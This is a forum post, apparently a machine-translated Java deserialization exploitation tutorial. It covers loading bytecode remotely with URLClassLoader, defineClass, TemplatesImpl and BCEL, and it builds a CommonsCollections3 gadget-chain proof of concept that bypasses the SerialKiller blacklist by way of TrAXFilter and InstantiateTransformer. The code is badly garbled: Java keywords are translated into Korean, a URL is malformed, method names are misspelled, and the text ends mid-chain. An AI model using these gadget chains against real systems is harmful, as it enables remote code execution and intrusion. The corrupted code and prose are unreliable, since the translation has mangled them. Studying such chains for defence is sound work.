KoreanHackerTeam
Moderator
Java反序列化漏洞系列-4
1 Java 动态加载字节码
1.1 字节码
엄밀히 말하면, Java Bytecode는 일반적으로 .class 파일에 저장되는 Java 가상 시스템에 의해 실행되는 명령 유형 만 나타냅니다.우리 모두 알다시피, 다른 플랫폼과 CPU에 대한 컴퓨터 지침은 다르지만 Java는 크로스 플랫폼 컴파일 언어이기 때문에 이러한 차이는 상위 수준의 개발자에게 투명합니다. 상위 수준의 개발자는 다른 플랫폼에서 JVM 가상 머신에서 실행하기 위해 자체 코드를 한 번만 컴파일하면됩니다.
1.2 利用 URLClassLoader 加载远程 class 文件
Java Classloader를 사용하여 바이트 코드 파일을로드하는 데 사용되는 가장 기본적인 방법. Jiawen은 주로 UrlClassLoader를 설명합니다. 정상적인 상황에서 Java는 구성 항목 sun.boot.class.path 및 java.class.path에 나열된 기본 경로를 기반으로 .class 파일을로드 할 것입니다 (이러한 경로는 Java.net.url 클래스로 처리됩니다).URL은 슬래시로 끝나지 않으며 JAR 파일로 간주됩니다. Jarloader를 사용하여 클래스를 찾으십시오. 즉 JAR 패키지에서 .class 파일을 찾으십시오.
URL은 슬래시 /로 끝나고 프로토콜 이름은 파일입니다. 그런 다음 fileloader를 사용하여 클래스, 즉 로컬 파일 시스템에서 .class 파일을 찾으려면 클래스를 찾습니다.
URL은 슬래시로 끝나고 프로토콜 이름은 파일이 아닙니다. 그런 다음 가장 기본적인 로더를 사용하여 클래스를 찾습니다.
정상적으로 발전 할 때 처음 두 개는 일반적으로 발생합니다. 로더는 언제 클래스를 찾는 데 사용됩니까? 물론 비 파일 프로토콜의 경우 가장 일반적인 프로토콜은 HTTP 프로토콜입니다.
HTTP 프로토콜을 사용하여 원격 HTTP 서버에서 .class 파일을로드하려면 테스트하십시오.
Classload.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
패키지 com.geekby.javavuln;
import java.lang.reflect.method;
import java.net.url;
java.net.urlclassloader 가져 오기;
공개 클래스 메인 {
public static void main (string [] args)은 예외 {
url [] urls={new URL ( 'http://localhost33608000/')};
urlclassloader 로더=urlclassloader.newinstance (urls);
클래스 c=loader.loadclass ( 'hello');
메소드 f=c.getMethod ( 'test');
f.invoke (null, null);
}
}
안녕하세요 Java
1
2
3
4
5
공개 클래스 안녕하세요 {
public static void test () {
System.out.println ( 'test');
}
}
:을 실행하십시오

/hello.class 파일을 성공적으로 요청하고 파일에서 바이트 코드를 실행하여 "테스트"를 출력했습니다.
따라서 공격자가 대상 Java 클래스 로더의 기본 경로를 HTTP 서버로 제어 할 수 있다면 원격 로딩을 사용하여 임의의 코드를 실행할 수 있습니다.
1.3 利用 ClassLoader#defineClass 直接加载字节码
원격 클래스 파일을로드하거나 로컬 클래스 또는 JAR 파일을로드하든 Java는 다음 세 가지 메소드를 :으로 호출합니다.클래스 로더#loadclass
클래스 로더#findclass
클래스 로더#정의
안에:
LoadClass의 기능은로드 된 클래스 캐시, 부모 로더 등의 클래스를 찾고 FindClass가 이전에 찾을 수없는 경우 실행하는 것입니다.
FindClass의 목적은 기본 URL에 의해 지정된 방법에 따라 클래스의 바이트 코드를로드하는 것입니다. 이전 섹션에서 언급했듯이 로컬 파일 시스템, JAR 패키지 또는 원격 HTTP 서버의 바이트 코드를 읽은 다음 정의로 넘겨 줄 수 있습니다.
정의의 목적은 이전에 전달 된 바이트 코드를 처리하고 실제 Java 클래스로 처리하는 것입니다.
따라서 실제 핵심 부분은 실제로 정의이며 바이트 스트림을 Java 클래스로 변환하는 방법을 결정합니다. Java의 기본 클래스 로더#정의는 기본 메소드이며 논리는 JVM의 C 언어 코드에 있습니다.
간단한 코드 예제와 함께 정의의 로딩 바이트 코드를 보여줍니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
공개 클래스 DefineClassDemo {
public static void main (string [] args)은 예외 {
메소드 defineclass=classload.class.getDeclaredMethod ( 'defuleclass', string.class, byte []. class, int.class, int.class);
defineclass.setAccessible (true);
//Bytecode 및 Base64 인코딩을 읽습니다
바이트 [] b=files.readallBytes (paths.get ( 'hello.class'));
문자열 코드=base64.getEncoder (). encodetoString (b);
//Base64 디코딩
바이트 [] bytecode=base64.getDecoder (). decode (code);
클래스 hello=(class) defineclass.invoke (classload.getSystemClassLoader (), 'hello', bytecode, 0, bytecode.length);
메소드 m=hello.getMethod ( 'test', null);
M.Invoke (null, null);
}
}

정보
정의 클래스가 호출되면 클래스 객체가 초기화되지 않습니다. 이 개체가 생성자를 명시 적으로 호출 할 때만 초기화 코드를 실행할 수 있습니다. 또한, 초기화 코드를 클래스의 정적 블록에 넣더라도 정의 일 때 직접 호출 할 수 없습니다. 따라서 DefineClass를 사용하여 대상 시스템에서 임의 코드를 실행하려면 생성자를 호출하는 방법을 찾아야합니다.
실제 시나리오에서 정의 메소드의 범위가 열려 있지 않기 때문에 공격자는 직접 사용하지 않지만 일반적으로 사용되는 공격 체인 TemplatesImpl의 초석입니다.
1.4 利用 TemplatesImpl 加载字节码
앞에서 언급 한 바와 같이, 개발자는 정의 메소드를 직접 사용하지 않지만 TemplatesImpl과 같은 Java 레이어에 여전히 일부 클래스가 있습니다.com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl이 클래스는 내부 클래스 TransletclassLoader를 정의합니다. 정의 메소드는이 클래스에서 다시 작성되며 정의 도메인은 여기에서 명시 적으로 선언되지 않습니다. Java에서 기본적으로 메소드가 명시 적으로 스코프를 선언하지 않으면 그 범위가 기본값입니다. 따라서 여기에서 다시 작성된 정의는 보호 된 유형의 상위 클래스에서 기본 유형 메소드가되며 클래스 외부에서 호출 할 수 있습니다.
TransletClassLoader에서 통화 체인을 추적합니다#defineClass () :
1
2
3
4
5
Templatesimpl#getoutputproperties ()
-emplatesimpl#newTransformer ()
-emplatesimpl#gettransletinstance ()
-emplatesimpl#definetransletclasses ()
- TransletclassLoader#defineClass ()
처음 두 가지 방법으로 추격하십시오 : templatesimpl#getoutputproperties () 및 templatesimpl#newTransformer (). 이 두 가지의 범위는 공개적이며 외부라고 불릴 수 있습니다. NewTransformer ()로 간단한 POC를 구성하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
public static void main (string [] args)은 예외 {
문자열 코드='.';
바이트 [] bytecode=base64.getDecoder (). decode (code);
templatesimpl obj=새로운 templatesimpl ();
//_bytecodes는 바이트 코드 배열입니다
클래스 C=TemplatesImpl.class;
필드 _bytecodes=c.getDeclaredfield ( '_ bytecodes');
_bytecodes.setAccessible (true);
_bytecodes.set (obj, new byte [] [] {bytecode});
//_name은 널 있지 않은 한 모든 문자열 일 수 있습니다.
필드 _name=c.getDeclaredfield ( '_ name');
_name.setAccessible (true);
_name.set (obj, 'hellotemplatesimpl');
//고정 쓰기 방법
필드 _tfactory=c.getDeclaredfield ( '_ tfactory');
_tfactory.setAccessible (true);
_tfactory.set (obj, new TransformerCfactoryImpl ());
obj.newtransformer ();
}
그러나 TemplatesImpl은로드 된 바이트 코드에 대한 특정 요구 사항이 있습니다. 특별 수업을 구성해야합니다.
1
2
3
4
5
6
7
8
9
10
11
12
공개 클래스 HelloTempPaltesimpl은 AbstractTranslet {
@보수
public void transform (dom document, serializationhandler [] handlers)는 transletexception {} 던지기
@보수
Public Void Transform (DOM Document, DTMAXISITERATOR ITERATOR, SERIALIZATION HANDLER HANDLER) TRANLETEXCEPTion {}
공개 helloTempPaltesimpl () {
감독자();
System.out.println ( 'Hello TemplatesImpl');
}
}

TemplatesImpl은 FastJson 및 Jackson 취약점뿐만 아니라 여러 Java Desorialization Exploitation Chains에 나타났습니다.
1.5 利用 BCEL ClassLoader 加载字节码
Bcel의 전체 이름은 Apache Commons Bcel입니다. Apache Commons 프로젝트에 따른 하위 프로젝트입니다. 그러나 Java에서 JAXP를 구현 한 Apache Xalan이 사용하기 때문에 Bcel은 기본 JDK 라이브러리에도 포함되어 있습니다.BCEL : Java 클래스를 먼저 기본 바이트 코드로 변환하는 데 사용되는 두 클래스 리포지토리 및 유틸리티를 사용하십시오. 물론 Javac 명령을 직접 사용하여 Java 파일을 컴파일하여 바이트 코드를 생성 할 수 있습니다. 유틸리티는 기본 바이트 코드를 BCEL 형식 바이트 코드로 변환하는 데 사용됩니다.
1
2
3
4
5
6
7
8
9
10
11
com.sun.org.apache.bcel.internal.repository import;
import com.sun.org.apache.bcel.internal.classfile.utility;
import com.sun.org.apache.bcel.internal.classfile.javaclass;
공개 클래스 bceldemo {
public static void main (string [] args)은 예외 {
javaclass cls=repository.lookupclass (evil.hello.class);
문자열 코드=utility.encode (cls.getBytes (), true);
System.out.println (코드);
}
}
그리고 Bcel Classloader는이 특수한 바이트 코드 문자열을로드하는 데 사용되며 코드 :을 실행할 수 있습니다.

2 CommonsCollections 3 Gadget 分析
CC1에서는 변환 맵이 임의의 메소드를 실행하는 데 사용됩니다. 이전 섹션에서 언급했듯이 TemplatesImpl을 사용하여 바이트 코드를 실행하면 두 가지를 병합 할 수 있고 다음 POC가 구성됩니다.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
패키지 com.geekby.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.transformerfactoryimpl;
import org.apache.commons.collections.transformer;
import org.apache.commons.collections.functors.chainttransformer;
import org.apache.commons.collections.functors.constanttransformer;
import org.apache.commons.collections.functors.invokertransformer;
import org.apache.commons.collections.map.transformedMap;
import java.lang.reflect.field;
import java.nio.file.files;
java.nio.file.paths import;
java.util.hashmap import;
java.util.map import;
공개 클래스 메인 {
public static void main (string [] args)은 예외 {
바이트 [] code=files.readallBytes (paths.get ( 'helloTempPaltesimpl.class');
templatesimpl obj=새로운 templatesimpl ();
setfieldValue (obj, '_bytecodes', new Byte [] [] {code});
setfieldValue (obj, '_name', 'hellotemplatesimpl');
setfieldValue (obj, '_tfactory', new TransformerFactoryImpl ());
변압기 [] 변압기=새로운 변압기 [] {
새로운 ConstantTransformer (OBJ),
New InvokerTransformer ( 'Newtransformer', Null, Null)
};
Transformer Transformerchain=새로운 ChainedTransformer (변압기);
map innerMap=new HashMap ();
map outermap=transformedmap.decorate (내부 맵, null, transformerchain);
outermap.put ( 'test', 'poc');
}
public static void setfieldValue (Object OBJ, String FieldName, Object Value)는 예외 {{
필드 필드=obj.getClass (). getDeclaredfield (FieldName);
field.setAccessible (true);
field.set (obj, value);
}
}
그러나 invokertransformer는 ysoserial의 CC3에서 사용되지 않습니다.
SerialKiller는 블랙리스트 및 화이트리스트를 통해 사막화 중에 통과 할 수있는 클래스를 제한 할 수있는 Java Desorialization 필터입니다. 출시 된 코드의 첫 번째 버전에서는 초기 블랙리스트를 제공한다는 것을 알 수 있습니다.

InvokerTransformer는이 블랙리스트에 나열되어 있으며 CommonScollections의 활용 체인을 차단합니다. Ysoserial은 CommonScollections3을 포함하여 새로운 가제트를 추가했습니다.
CommonScollections3의 목적은 분명하며, 이는 일부 규칙에 의해 InvokerTransformer의 제한을 우회하는 것입니다. CommonScollections3는 invokertransformer를 사용하여 모든 메소드를 호출하지 않지만 다른 클래스 (com.sun.org.apache.xalan.internal.xsltc.trax.traxfilter)를 사용합니다.
이 클래스의 생성자는 (transformerimpl) templates.newtransformer ()로 호출되며, 이는 invokertransformer를 사용하여 NewTransformer () 메소드를 수동으로 호출하는 단계를 제거합니다.

물론 InvokerTransformer가 없으면 TraxFilter의 생성자를 호출 할 수 없습니다. org.apache.commons.complections.functors.instantiateTransformer에서 InstantiateTransformer를 사용하여 생성자를 호출하십시오.
따라서 궁극적 인 목표는 InstantiateTransformer를 사용하여 TraxFilter의 생성자를 호출 한 다음 생성자에 Templates.NewTransformer ()를 사용하여 Templ에서 바이트 코드를 호출하는 것입니다.
구성된 변압기 통화 체인은 다음과 같습니다.
1
2
3
4
변압기 [] 변압기=새로운 변압기 [] {
New ConstantTransformer (traxfilter.class),
NE